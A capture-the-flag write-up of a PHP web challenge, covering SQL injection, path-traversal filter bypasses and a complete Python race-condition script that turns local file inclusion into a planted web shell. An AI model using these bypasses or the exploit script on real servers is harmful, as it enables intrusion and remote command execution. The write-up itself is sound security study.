Tags: proc local_file_inclusion phpsession express sqlinjection type-juggling file_path_traversal path-traversal
Rating:
Due to my messy workflow, I probably used about 1 day on this challenge and ended up not solving it. ? There are tons of rabbit holes that successfully obfuscated the blind testing - it's often hard to tell if hitting something means to carry on or to back off.
My actual steps are much less tidy, but for the sake of reading and learning it has been organized.
From the source, we can find send_pic.php and with some testing in Burp Suite:


With some basic enumeration, combined with the given MySQL database information we can conclude:
It's easy to imagine exfiltrating the access token with SQL injection, but we can be more sure by trying to throw some errors with type juggling, a common trick in JavaScript and PHP challenges:

We are seeing something beautiful here:
url goes through strtolowerid goes through strpos, which is interesting as the value should be parsed as numberurl[1] throws errorurl throws errorWe can conjecture that the server is using the url, maybe a request is sent there? Let's spin up a webhook.site endpoint.

Note that the URL value is only sent to the URL and does not appear in the challenge site. With a means to exfiltrate data, now we can look at SQL injections.


But it looks like the string key_cc is blacklisted (can't really show on pics).
For people with more experience with MySQL, they probably know column names are not case sensitive.

Now we can log in. The username and password fields were a bit misleading, but now we have get_img.php?file=messi.jpg.
The endpoint name hints that it is susceptible to local file inclusion (aka path traversal):

There are many we can try now, but there are many blacklists and red herrings. These are what I found during the CTF:
../index.php, ../get_img.php../.. will give no output. This is meaningless because we can use .././.. instead.../.htaccess is a nice starter, it doesn't seem very useful./etc/passwd shows some promising result, but invalid requests like /aaa/bbb/ccc/etc/passwd also show the result. I didn't realize it was a blacklist and was mislead into thinking the string was somehow processedlib/php is banned. This is again meaningless as lib/./php can be used.Then I ran into many rabbit holes:
media/ prefix for php wrappers. It probably isn't impossiblephp.ini as part of the recon because of the blacklist/proc/self/environ has permission denied, and I can't tell if Apache log is blocked or that I had to find the true path in a non-default setting.
Only at very late stage I realized that it could be toughened defense (from Orange Tsai)sess is blacklisted, but I went a long way trying to change and insert characters to bypass the sess blacklist.
In retrospect it probably isn't impossible./proc/self/fd/10 though, but I wrongly assumed that it wasn't my session and couldn't make better use of itI did came across the LFI-to-RCE via PHP sessions method, but:
sess blacklist.I did know that phpinfo can be used for LFI-to-RCE, but I didn't have access to one and of course, ran down the rabbit hole of finding one.
There are 2 solutions but I'll only write about the easier one:
The actual method is included in the aforementioned resource.
Even without Google Translate I can look at the code. After the CTF it was revealed that /proc/self/fd/10 was indeed the way to go.
In fact I was so close:
/proc/self/fd/10phpinfo, just put a command shellimport threading
import requests
from concurrent.futures import ThreadPoolExecutor, wait
target = 'http://172.105.127.104/index.php'
session = requests.session()
flag = '8645f3a1a7419bcb2796af86ebccb917'
def upload(e: threading.Event):
files = [
('file', ('load.png', b'a' * 40960, 'image/png')),
]
data = {'PHP_SESSION_UPLOAD_PROGRESS': rf'''<?php file_put_contents('/tmp/success2', '<?php system($_GET["c"]);?>'); echo('{flag}'); ?>'''}
while not e.is_set():
requests.post(
target,
data=data,
files=files,
cookies={'PHPSESSID': flag},
)
def write(e: threading.Event):
while not e.is_set():
response = requests.get(
f'{target}?file=.././.././.././.././proc/self/fd/10',
cookies={'PHPSESSID': flag},
)
if flag.encode() in response.content:
e.set()
if __name__ == '__main__':
futures = []
event = threading.Event()
pool = ThreadPoolExecutor(15)
for i in range(10):
futures.append(pool.submit(upload, event))
for i in range(5):
futures.append(pool.submit(write, event))
wait(futures)
